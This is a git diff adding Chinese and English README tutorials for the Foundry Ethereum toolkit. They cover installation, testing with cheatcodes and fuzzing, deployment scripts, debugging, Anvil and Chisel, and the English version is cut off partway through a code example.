+- `foundry.toml` 是配置文件
+    - `forge config --basic` 可查看当前的基础设置
+    - `forge config` 可查看当前所有设置
+- `src` 下面放你写的合约
+- `test` 下面放合约对应的测试文件
+- `script` 下面放自定义测试通用文件
+- `lib` 目录里放开发依赖的库
+    - 新建项目安装了测试需要的 forge-std 库(DSTest的超集) ~~将 ds-test 集成到其中(新版已移除此依赖)~~
+
+### VSCode 集成
+
+可以通过安装 [VSCode Solidity](https://github.com/juanfranblanco/vscode-solidity) 扩展来获得对 Visual Studio Code 的 Solidity 支持。
+
+Foundry 支持 VSCode 的集成开发，配置只需要进入项目目录然后执行 :
+
+```sh
+cd my_project
+forge remappings > remappings.txt
+```
+
+## 调用三方库
+
+foundry 可以直接安装调用 GitHub API 下载上面开源的三方库。
+
+安装第三方库 - OpenZeppelin :
+
+```sh
+forge install openzeppelin/openzeppelin-contracts
+```
+
+其中 `openzeppelin` 为 GitHub 上的账号名，斜杠 `/` 后面
+接用户的 repo。
+
+安装后导入库需要在合约文件前面添加，如添加 openzeppelin 的 ERC20 :
+
+```sh
+import "openzeppelin/contracts/token/ERC20/ERC20.sol"
+```
+
+安装第三方库 - solmate :
+
+```sh
+forge install transmissions11/solmate
+# 依赖的特定版本, 默认为 master
+forge install transmissions11/solmate@master
+forge install transmissions11/solmate@v7
+forge install transmissions11/solmate@c892309
+```
+
+**NOTE** : 如果使用 VSCode 的话，安装新的第三方库之后需要重新执行
+`forge remappings > remappings.txt`
+
+## 更新第三方库
+
+1. Update a dependency:
+```sh
+forge update lib/solmate
+```
+
+2. Update all dependencies:
+```sh
+forge update
+```
+
+## 编译合约
+
+```sh
+forge build
+```
+
+编译后的合约会在 `out` 目录里
+
+## 测试合约
+
+```solidity
+// Contract.t.sol
+
+// SPDX-License-Identifier: UNLICENSED
+pragma solidity ^0.8.13;
+
+import {Test} from "forge-std/Test.sol";
+
+contract ContractTest is Test {
+    function setUp() public {}
+
+    function testExample() public {
+        assertTrue(true);
+    }
+}
+```
+
+上面是新建项目给出的测试文件模板。
+
+用 `forge test` 进行测试
+
+```
+[⠔] Compiling...
+[⠘] Compiling 3 files with 0.8.10
+Compiler run successful
+
+Running 1 test for ContractTest.json:ContractTest
+[PASS] testExample() (gas: 120)
+```
+
+forge 会搜索 src 下的所有合约，寻找含有以 test 开头函数的合约作为测试合约，对于每个测试合约 :
+
+- 其中的 `setUp()` 函数会用作基本设置，在每个测试用例前运行
+- 以 `test` 开头的函数被用作测试用例
+- 以 `testFail` 开头的函数同样被用作测试用例，但当其 revert 时才视为测试通过
+
+通常我们会把测试文件放到 `src/test` 下面，然后以 `.t.sol` 作为文件名的结尾。
+
+模板中引入的 ds-test 库提供了 assertTrue、assertEq 等测试需要的断言功能，具体能用到的函数可以查看其[源码](https://github.com/dapphub/ds-test/blob/master/src/test.sol)。
+
+要测试具体某个合约或者某个用例，可以使用下面命令
+
+```sh
+# only run test methods in contracts matching regex
+forge test --match-contract <CONTRACT_PATTERN>
+
+# only run test methods matching regex
+forge test --match-test <TEST_PATTERN>
+
+# only run test methods in source files at path matching regex.
+# Requires absolute path
+forge test --match-path <PATH_PATTERN>
+```
+
+此外，还可以通过 -v flag 来设置测试输出的详尽程度
+
+- `-vv` 输出所有测试的 logs
+- `-vvv` 输出失败测试的 stack trace
+- `-vvvv` 输出 stack trace， 并输出失败用例的 setup
+- `-vvvvv` 输出 stack trace 和 setup
+
+其中 stack trace 可以看到函数的调用栈和 emit 的 event
+
+```
+[<Gas Usage>] <Contract>::<Function>(<Parameters>)
+    ├─ [<Gas Usage>] <Contract>::<Function>(<Parameters>)
+    │   ├─ ← emit <event>
+    │   └─ ← <Return Value>
+    └─ ← <Return Value>
+```
+
+如果使用 `forge test --gas-report` ，还能输出测试中合约每个函数的 gas 数据，样例输出如下:
+
+```
+╭───────────────────────┬─────────────────┬────────┬────────┬────────┬─────────╮
+│ MockERC1155 contract  ┆                 ┆        ┆        ┆        ┆         │
+╞═══════════════════════╪═════════════════╪════════╪════════╪════════╪═════════╡
+│ Deployment Cost       ┆ Deployment Size ┆        ┆        ┆        ┆         │
+├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
+│ 1082720               ┆ 5440            ┆        ┆        ┆        ┆         │
+├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
+│ Function Name         ┆ min             ┆ avg    ┆ median ┆ max    ┆ # calls │
+├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
+│ balanceOf             ┆ 596             ┆ 596    ┆ 596    ┆ 596    ┆ 44      │
+├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
+│ balanceOfBatch        ┆ 2363            ┆ 4005   ┆ 4005   ┆ 5647   ┆ 2       │
+├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
+│ batchBurn             ┆ 2126            ┆ 5560   ┆ 2584   ┆ 11970  ┆ 3       │
+├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
+│ batchMint             ┆ 2444            ┆ 135299 ┆ 125081 ┆ 438531 ┆ 18      │
+├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
+│ burn                  ┆ 814             ┆ 2117   ┆ 2117   ┆ 3421   ┆ 2       │
+├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
+│ isApprovedForAll      ┆ 749             ┆ 749    ┆ 749    ┆ 749    ┆ 1       │
+├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
+│ mint                  ┆ 26039           ┆ 31943  ┆ 27685  ┆ 118859 ┆ 22      │
+├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
+│ safeBatchTransferFrom ┆ 2561            ┆ 137750 ┆ 126910 ┆ 461304 ┆ 8       │
+├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
+│ safeTransferFrom      ┆ 1335            ┆ 34505  ┆ 28103  ┆ 139557 ┆ 9       │
+├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
+│ setApprovalForAll     ┆ 24485           ┆ 24485  ┆ 24485  ┆ 24485  ┆ 12      │
+╰───────────────────────┴─────────────────┴────────┴────────┴────────┴─────────╯
+```
+
+另外，forge 支持在 forked 以太环境上进行测试
+
+```sh
+forge test --fork-url <your_rpc_url>
+```
+
+还可以进一步设定 fork 的区块
+
+```sh
+forge test --fork-url <your_rpc_url> --fork-block-number <block-number>
+```
+
+除此之外，forge 还有 `CheatCodes` 功能，它可以用来模拟和操纵 EVM 的状态
+
+```solidity
+// Contract
+pragma solidity ^0.8.13;
+
+contract OwnerUpOnly {
+  address public immutable owner;
+  uint256 public count;
+
+  constructor() {
+    owner = msg.sender;
+  }
+
+  function increment() external {
+    require(
+      msg.sender == owner,
+      "only the owner can increment the count"
+    );
+    count++;
+  }
+}
+
+// ContactTest
+import {Test} from "forge-std/Test.sol";
+
+interface CheatCodes {
+  function prank(address) external;
+}
+
+contract OwnerUpOnlyTest is Test {
+  CheatCodes cheats = CheatCodes(HEVM_ADDRESS);
+  OwnerUpOnly upOnly;
+
+  function setUp() public {
+    upOnly = new OwnerUpOnly();
+  }
+
+  function testIncrementAsOwner() public {
+    assertEq(upOnly.count(), 0);
+    upOnly.increment();
+    assertEq(upOnly.count(), 1);
+  }
+
+  function testFailIncrementAsNotOwner() public {
+    cheats.prank(address(0));
+    upOnly.increment();
+  }
+}
+```
+
+例如在上述代码中，`cheats.prank(address(0))` 将下一次 call 的 msg.sender 设置成了 adderss(0)，让 `upOnly.increment()` revert，从而来测试是否正确地拒绝了来自非 owner 的调用。
+
+关于 cheatcodes 更多的功能可以查阅 [Cheatcodes Reference](https://onbjerg.github.io/foundry-book/reference/cheatcodes.html)
+
+forge 还支持 fuzz testing
+
+```solidity
+// Contract
+pragma solidity ^0.8.13;
+
+contract Safe {
+  receive() external payable {}
+
+  function withdraw() external {
+    payable(msg.sender).transfer(address(this).balance);
+  }
+}
+
+// Test
+import {Test} from "forge-std/Test.sol";
+
+contract SafeTest is Test {
+  Safe safe;
+
+  // Needed so the test contract itself can receive ether
+  receive() external payable {}
+
+  function setUp() public {
+    safe = new Safe();
+  }
+
+  function testWithdraw(uint256 amount) public {
+    payable(address(safe)).transfer(amount);
+    uint256 preBalance = address(this).balance;
+    safe.withdraw();
+    uint256 postBalance = address(this).balance;
+    assertEq(preBalance + amount, postBalance);
+  }
+}
+```
+
+例如上述代码的 `testWithdraw` 函数，forge 会多次喂入随机输入来进行测试。运行的次数可以通过配置文件里的 fuzz_runs 设置，默认是 256 次。
+
+## 部署合约
+
+```sh
+forge create --rpc-url <your_rpc_url> --private-key <your_private_key> src/MyContract.sol:MyContract --constructor-args <arg0> <arg1> ...
+```
+
+如果使用`-i 或 --interactive` flag，则不用将私钥写进命令里，按下回车之后会提示你输入私钥，这样可以避免私钥信息被 shell history 记录
+
+就目前阶段而言，foundry 在合约部署方面不如 Hardhat 方便，若想要在 Hardhat 项目中使用 foundry 进行代码测试，可以参考这篇文档 :
+
++  [在 Hardhat 项目中配置 Foundry](use-foundry-in-hardhat/README.md)
+
+**UPDATE**: 目前 foundry 已经支持使用脚本部署合约了。只需要将一些变量设置好，然后
+添加一个新的 script 文件，就可以通过执行脚本部署。
+
+- 在项目目录中创建 `.env` 文件并设置对应的变量 :
+
+```sh
+PRIVATE_KEY=
+MAINNET_RPC_URL=
+RINKEBY_RPC_URL=
+ANVIL_RPC_URL="http://localhost:8545"
+ETHERSCAN_KEY=
+```
+
+- 在 `foundry.toml` 中添加配置 :
+
+```yaml
+[rpc_endpoints]
+mainnet = "${MAINNET_RPC_URL}"
+rinkeby = "${RINKEBY_RPC_URL}"
+anvil = "${ANVIL_RPC_URL}"
+
+[etherscan]
+mainnet = { key = "${ETHERSCAN_KEY}" }
+rinkeby = { key = "${ETHERSCAN_KEY}" }
+```
+
+- 在项目目录中创建一个 `script/MyNFT.s.sol`（以部署一个 NFT 合约为例） :
+
+```solidity
+//SPDX-License-Identifier: UNLICENSED
+pragma solidity >=0.8.10;
+
+import "@forge-std/Script.sol";
+import "../src/MyNFT.sol";
+
+contract DeployMyNFT is Script {
+    function run() external {
+        address deployer = vm.addr(vm.envUint("PRIVATE_KEY"));
+
+        console.log("The Deployer address:", deployer);
+        console.log("Balance is:", deployer.balance);
+
+        vm.startBroadcast(deployer);
+
+        MyNFT nft = new MyNFT("MyNFT", "MYT", "https://www.example.com");
+        vm.stopBroadcast();
+
+        console.log("MyNFT deployed at:", address(nft));
+    }
+}
+```
+
+最后执行 :
+
+```sh
+# load the configs
+source .env
+# deploy
+forge script DeployMyNFT --rpc--url <RCP_URL> --broadcast --verify
+```
+
+其中 `--verify` 参数是将合约代码开源。
+
+完整的示例代码见 :[my_nft](https://github.com/oneforalone/my_nft)
+
+## Debug 合约
+
+foundry 也支持 debug 合约，可 debug 本地的合约或链上的 tx，
+与 Remix 唯一的差别是 foundry 中没有 storage。
+
+- Debug 本地合约
+
+```sh
+forge test --debug <FunctionName>
+```
+
+如 :
+
+```sh
+forge test --debug --testSetter
+```
+
+或 :
+
+```sh
+forge debug --debug <contract-file> --sig <FunctionSignature>
+```
+
+如 :
+
+```sh
+forge debug --debug src/Hello.sol --sig "setter(string)" "hello"
+```
+
+- Debug 链上 tx
+
+```sh
+cast run --debug --rpc-url $ETH_RPC_URL <tx-hash>
+```
+
+其中 `$ETH_RPC_URL` 就是调用的节点的 RPC，可以直接写或者将 RPC 设置为
+`ETH_RPC_URL` 变量。`<tx-hash>` 为需要 debug 的 tx 的哈希值.
+
+如 :
+
+```sh
+cast run --debug $ETH_RPC_URL 0x1126aa5e5b648eebad1c88141e5142cf0a4082e6ccf9fed77d69a190c21724a3
+```
+
+- debug 窗口的快捷键参考 :[Foundry Debugger](https://book.getfoundry.sh/forge/debugger#navigating)
+
+## 与合约交互
+
+```sh
+# perform a call
+cast call <contract-address> <func-sig> [args] --rpc-url <your_rpc_url>
+
+# perform a send
+cast send <contract-address> <func-sig> <args> --rpc-url <your_rpc_url> --private-key <private_key>
+```
+
+## Anvil 使用方法
+
+Anvil 是 Foundry 提供的本地测试网节点，你可以将其用于测试前端或通过 RPC 进行交互的合约。
+
+启动测试节点 :
+
+```sh
+anvil
+```
+
+这条命令启动一个本地节点，默认监听端口 `8545` RPC 连接，可以通过 `--port` 参数指定端口。使用 `--account <NUM>` 可以查看可使用的账户和私钥列表 :
+
+```sh
+anvil --accounts 10
+```
+
+同时，还可以使用 anvil 分叉以太坊进行测试 :
+
+```sh
+anvil --hardfork latest
+```
+
+更多 `anvil` 的功能可以查看 [Anvil 文档](https://book.getfoundry.sh/reference/anvil/)。
+
+
+## Chisel 使用方法
+
+Chisel 是 Foundry 提供的高级 Solidity REPL。它可用于在本地或分叉网络上快速测试 Solidity 片段。
+
+REPL（Read-Eval-Print Loop）是一种交互式命令行工具，它允许用户输入命令并立即查看结果。也是一种编程环境，通常用于解释性语言，如Python，Ruby和JavaScript。
+
+在一个REPL环境中，用户可以输入一行代码或一条命令，然后该代码或命令会被解释器或编译器立即执行，并将结果返回给用户。用户可以根据返回的结果进行进一步的操作或输入新的代码。这种即时反馈的能力使得REPL成为学习和调试代码的有用工具。
+
+要使用 Chisel，只需键入 chisel。然后开始编写 Solidity 代码！Chisel 会对每次输入提供详细反馈。
+
+Chisel 可在 Foundry 项目内外使用。如果二进制文件在 Foundry 项目根目录下执行，Chisel 将继承项目的配置选项。
+
+```sh
+# 进入 REPL
+chisel
+# Welcome to Chisel! Type `!help` to show available commands.
+# 编写 Solidity 代码
+uint val = 8
+# 打印变量
+val
+# keccak256 运算
+keccak256(abi.encodePacked(val))
+# 退出 Chisel !quit 或 !q
+!q
+```
+
+## 参考资料
+
+- [paradigm foundry](https://www.paradigm.xyz/2021/12/introducing-the-foundry-ethereum-development-toolbox)
+- [ds-test](https://github.com/dapphub/ds-test/blob/master/src/test.sol)
+- [The Foundry Book](https://onbjerg.github.io/foundry-book/index.html)
+- [rebase code day Reference PPT](https://learnblockchain.cn/article/3749)
+- [rebase code day Reference code base](https://github.com/bixia/solidity-dev)
+- [Video: Intro to Foundry](https://www.youtube.com/watch?v=fNMfMxGxeag)
+- [ERC20 foundry](https://learnblockchain.cn/article/3972)
+- [The Foundry EVM Development Environment](https://medium.com/@jtriley15/the-foundry-evm-development-environment-f198f2e4c372)
diff --git a/basic/41-foundry/README.md b/basic/41-foundry/README.md
new file mode 100644
index 000000000..6576087e3
--- /dev/null
+++ b/basic/41-foundry/README.md
@@ -0,0 +1,533 @@
+# Smart contract development using Foundry
+
+[Foundry](https://github.com/gakonst/foundry) is a Ethereum smart contract development tool written in Rust, and it includes three core tools:
+
+- `forge`:  -Testing framework for Ethereum smart contracts
+-  `cast`:  -Tools related to the EVM ecosystem, including encoding, decoding, and interacting with smart contracts.
+-  `Anvil`: -Local Ethereum node
+-  `Chisel`:  -Solidity REPL integrated with Foundry.
+
+## Installing forge, cast, anvil, and chisel.
+
+First, install foundryup, which is a helper tool for installing Foundry.
+
+```sh
+# macos
+brew install libusb
+curl -L https://foundry.paradigm.xyz | sh
+# zsh shell
+source ~/.zshenv
+```
+
+Install forge, cast, anvil, and chisel using foundryup.
+
+When run separately, foundryup will install the latest (nightly) precompiled binaries: forge, cast, anvil, and chisel.
+
+```sh
+foundryup
+```
+
+## Create a new project using Forge.
+
+```sh
+forge init my_project
+```
+
+The structure of the newly created project is as follows:
+
+```
+my_project
+├── foundry.toml
+├── lib
+│   └── forge-std
+|   |  └── scripts
+|   |  |  └── vm.py
+|   |  └── test
+|   |  |  └── ...
+|   |  └── src
+|   |  |  └── ...
+|   |  └── ...
+│   └── ...
+├── README.md
+└── script
+|   └── Counter.s.sol
+├── src
+│   └── Counter.sol
+└── test
+    └── Counter.t.sol
+```
+
+Here it is:
+
+- `foundry.toml` is a configuration file.
+    - `forge config --basic`  View current basic settings
+    - `forge config`  View all current settings.
+- `src` Below is the source code directory.
+- `test` Below is the test file corresponding to the `src` contracts.
+- `script` Deployment scripts for the contracts
+- `lib` The development dependencies libraries directory
+    - Create a project and install the forge-std library needed for testing (a superset of DSTest), integrate ds-test into it (this dependency has been removed in the new version)
+    
+### VSCode Integration 
+
+You can get Solidity support for Visual Studio Code by installing the [VSCode Solidity](https://github.com/juanfranblanco/vscode-solidity) extension.
+
+Foundry supports integration with VSCode for development. Just go into the project directory and run:
+
+```sh
+cd my_project
+forge remappings > remappings.txt
+```
+
+## Calling third-parties libraries 
+
+Foundry can directly install and call the GitHub API to download open-source third-party libraries.
+
+Install a third-party library - OpenZeppelin:
+
+```sh
+forge install openzeppelin/openzeppelin-contracts
+```
+
+The account name on GitHub is `openzeppelin`, followed by a slash / and the user's repo.
+
+To import the library after installation, you need to add it at the beginning of the contract file, such as adding openzeppelin's ERC20:
+
+```sh
+import "openzeppelin/contracts/token/ERC20/ERC20.sol"
+```
+
+Install third-party library - solmate:
+
+```sh
+forge install transmissions11/solmate
+# Dependent on a specific version, default is master
+forge install transmissions11/solmate@master
+forge install transmissions11/solmate@v7
+forge install transmissions11/solmate@c892309
+```
+
+**NOTE**: If you use VSCode, you need to re-execute `forge remappings > remappings.txt` after installing the new third-party library. 
+
+## Updating third-party libraries
+
+1. Update a dependency:
+```sh
+forge update lib/solmate
+```
+
+2. Update all dependencies:
+```sh
+forge update
+```
+
+## Compiling contract
+
+```sh
+forge build
+```
+The compiled contract will be in the `out` directory 
+
+## Test contract
+
+```solidity
+// Contract.t.sol
+
+// SPDX-License-Identifier: UNLICENSED
+pragma solidity ^0.8.13;
+
+import {Test} from "forge-std/Test.sol";
+
+contract ContractTest is Test {
+    function setUp() public {}
+
+    function testExample() public {
+        assertTrue(true);
+    }
+}
+```
+
+The above code is the test file template given for the new project. 
+
+Test with `forge test`
+
+```
+[⠔] Compiling...
+[⠘] Compiling 3 files with 0.8.10
+Compiler run successful
+
+Running 1 test for ContractTest.json:ContractTest
+[PASS] testExample() (gas: 120)
+```
+
+forge will search all contracts under src and look for contracts containing functions starting with test as test contracts. For each test contract:
+
+- The `setUp()` function will be used as basic settings and run before each test case.
+- Functions starting with `test` are used as test cases
+- Functions starting with `testFail` are also used as test cases, but the test is considered passed when it is revert
+
+Usually we will put the test file under `src/test`, and then end with `.t.sol` as the file name. 
+
+The `ds-test` library introduced in the template provides assertion functions required for tests such as assertTrue and assertEq. You can view the [source code](https://github.com/dapphub/ds-test/blob/master/src/test.sol) for the specific functions that can be used. 
+
+To test a specific contract or a use case, you can use the following command
+
+```sh
+# only run test methods in contracts matching regex
+forge test --match-contract <CONTRACT_PATTERN>
+
+# only run test methods matching regex
+forge test --match-test <TEST_PATTERN>
+
+# only run test methods in source files at path matching regex.
+# Requires absolute path
+forge test --match-path <PATH_PATTERN>
+```
+
+In addition, you can also set the verbosity of the test output through the -v flag
+
+- `-vv` output logs of all tests
+- `-vvv` output stack trace of failed tests
+- `-vvvv` output stack trace, and output the setup of the failed use case
+- `-vvvvv` output stack trace and setup of all use cases
+
+Among them, stack trace can see the call stack of the function and the event of emit.
+
+```
+[<Gas Usage>] <Contract>::<Function>(<Parameters>)
+    ├─ [<Gas Usage>] <Contract>::<Function>(<Parameters>)
+    │   ├─ ← emit <event>
+    │   └─ ← <Return Value>
+    └─ ← <Return Value>
+```
+
+If you use `forge test --gas-report`, you can also output the gas data of each function of the contract under test. The sample output is as follows:
+
+```
+╭───────────────────────┬─────────────────┬────────┬────────┬────────┬─────────╮
+│ MockERC1155 contract  ┆                 ┆        ┆        ┆        ┆         │
+╞═══════════════════════╪═════════════════╪════════╪════════╪════════╪═════════╡
+│ Deployment Cost       ┆ Deployment Size ┆        ┆        ┆        ┆         │
+├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
+│ 1082720               ┆ 5440            ┆        ┆        ┆        ┆         │
+├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
+│ Function Name         ┆ min             ┆ avg    ┆ median ┆ max    ┆ # calls │
+├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
+│ balanceOf             ┆ 596             ┆ 596    ┆ 596    ┆ 596    ┆ 44      │
+├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
+│ balanceOfBatch        ┆ 2363            ┆ 4005   ┆ 4005   ┆ 5647   ┆ 2       │
+├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
+│ batchBurn             ┆ 2126            ┆ 5560   ┆ 2584   ┆ 11970  ┆ 3       │
+├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
+│ batchMint             ┆ 2444            ┆ 135299 ┆ 125081 ┆ 438531 ┆ 18      │
+├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
+│ burn                  ┆ 814             ┆ 2117   ┆ 2117   ┆ 3421   ┆ 2       │
+├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
+│ isApprovedForAll      ┆ 749             ┆ 749    ┆ 749    ┆ 749    ┆ 1       │
+├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
+│ mint                  ┆ 26039           ┆ 31943  ┆ 27685  ┆ 118859 ┆ 22      │
+├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
+│ safeBatchTransferFrom ┆ 2561            ┆ 137750 ┆ 126910 ┆ 461304 ┆ 8       │
+├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
+│ safeTransferFrom      ┆ 1335            ┆ 34505  ┆ 28103  ┆ 139557 ┆ 9       │
+├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
+│ setApprovalForAll     ┆ 24485           ┆ 24485  ┆ 24485  ┆ 24485  ┆ 12      │
+╰───────────────────────┴─────────────────┴────────┴────────┴────────┴─────────╯
+```
+
+In addition, forge supports testing on forked Ethereum environments
+
+```sh
+forge test --fork-url <your_rpc_url>
+```
+
+You can also further set the forked block
+
+```sh
+forge test --fork-url <your_rpc_url> --fork-block-number <block-number>
+```
+
+In addition, forge also has the `CheatCodes` function, which can be used to simulate and manipulate the state of the EVM
+
+```solidity
+// Contract
+pragma solidity ^0.8.13;
+
+contract OwnerUpOnly {
+  address public immutable owner;
+  uint256 public count;
+
+  constructor() {
+    owner = msg.sender;
+  }
+
+  function increment() external {
+    require(
+      msg.sender == owner,
+      "only the owner can increment the count"
+    );
+    count++;
+  }
+}
+
+// ContactTest
+import {Test} from "forge-std/Test.sol";
+
+interface CheatCodes {
+  function prank(address) external;
+}
+
+contract OwnerUpOnlyTest is Test {
+  CheatCodes cheats = CheatCodes(VM_ADDRESS);
+  OwnerUpOnly upOnly;
+
+  function setUp() public {
+    upOnly = new OwnerUpOnly();
+  }
+
+  function testIncrementAsOwner() public {
+    assertEq(upOnly.count(), 0);
+    upOnly.increment();
+    assertEq(upOnly.count(), 1);
+  }
+
+  function testFailIncrementAsNotOwner() public {
+    cheats.prank(address(0));
+    upOnly.increment();
+  }
+}
+```
+
+For example, in the above code, `cheats.prank(address(0))` sets the msg.sender of the next call to adderss(0) and lets `upOnly.increment()` revert to test whether the requests from non-owners are correctly rejected. call.
+
+For more information about cheatcodes, please refer to [Cheatcodes Reference](https://onbjerg.github.io/foundry-book/reference/cheatcodes.html) 
+
+forge also supports fuzz testing
+
+```solidity
+// Contract
+pragma solidity ^0.8.13;
+
+contract Safe {
+  receive() external payable {}
+
+  function withdraw() external {
+    payable(msg.sender).transfer(address(this).balance);
+  }
+}
+
+// Test
+import {Test} from "forge-std/Test.sol";
+
+contract SafeTest is Test {
+  Safe safe;
+
+  // Needed so the test contract itself can receive ether
+  receive() external payable {}
+
+  function setUp() public {
+    safe = new Safe();
+  }
+
+  function testWithdraw(uint256 amount) public {
+    payable(address(safe)).transfer(amount);
+    uint256 preBalance = address(this).balance;
+    safe.withdraw();
